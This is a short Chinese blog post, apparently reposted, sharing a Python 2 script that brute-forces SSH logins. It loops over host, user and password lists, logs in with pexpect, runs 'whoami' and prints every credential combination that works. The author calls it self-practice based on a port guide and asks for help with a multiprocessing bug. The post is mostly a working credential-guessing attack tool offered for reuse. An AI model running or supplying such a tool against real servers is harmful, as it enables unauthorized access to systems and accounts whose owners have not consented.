ssh爆破(python腳本)


最近在烏雲看到一份端口詳解:為了鍛煉自己,按照端口詳解寫腳本

 

#!/usr/local/bin/ python
# -*- coding: UTF-8 -*-

__author__ = 'yangxiaodi'

from multiprocessing import Pool
from pexpect import pxssh
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )


datas=[]
def connect():
    cmd = 'whoami'
    for data in datas:
        host = data.split(':',2)[0]
        user = data.split(':',2)[1]
        password = data.split(':',2)[2]
        try:
            s = pxssh.pxssh(timeout=3)
            s.login(host,user,password)
            s.sendline(cmd)
            s.prompt()
            print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 執行命令:'+s.before

        except:
            print u'錯誤 [-] ssh host:'+host+' user:'+user+' password:'+password


def read_file(filepath):
    f = open(filepath).readlines()
    return f

def get_host_user_pass():
    host = read_file('host.txt')
    for h in host:
        h = h.replace('\n','')
        user = read_file('user.txt')
        for u in user:
            u = u.replace('\n','')
            passs = read_file('pass.txt')
            for pas in passs:
                pas = pas.replace('\n','')
                datas.append(h+':'+u+':'+pas)
    return True

resu = []
get_host_user_pass()
p = Pool()
resu.append(p.apply_async(connect,args=()))
p.close()
p.join()
for res in resu:
    print res.get()
print 'all subprocesses done.'

  本地要有三個文件  user.txt , host.txt , pass.txt

這次沒在腳本做判斷,遇到成功的還是繼續爆破成功的ip,原因是用了多進程,然后不會改,留到后面再來解決。(有人幫忙嗎)

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM